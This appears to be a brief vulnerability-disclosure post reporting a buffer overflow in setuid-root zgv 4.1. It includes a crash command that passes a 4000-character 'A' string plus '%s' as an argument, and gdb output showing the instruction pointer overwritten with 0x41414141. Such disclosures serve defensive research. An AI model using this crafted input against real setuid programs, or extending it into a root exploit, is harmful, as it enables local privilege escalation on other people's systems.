Overflow in zgv-4.1?

[onix () AUTOBAHN MB CA (onix)]

Possible security risk in setuid zgv 4.1 which may lead to local root
comprimise.  zgv is installed setuid root by default.

onix# zgv -a "`perl -e 'print "A" x 4000'`%s"
Segmentation fault (core dumped)
onix# gdb -c core
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Core was generated by `zgv -a
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x40121a48 in ?? ()
(gdb) backtrace
#0  0x40121a48 in ?? ()
#1  0x41414141 in ?? ()
Cannot access memory at address 0x41414141.
(gdb)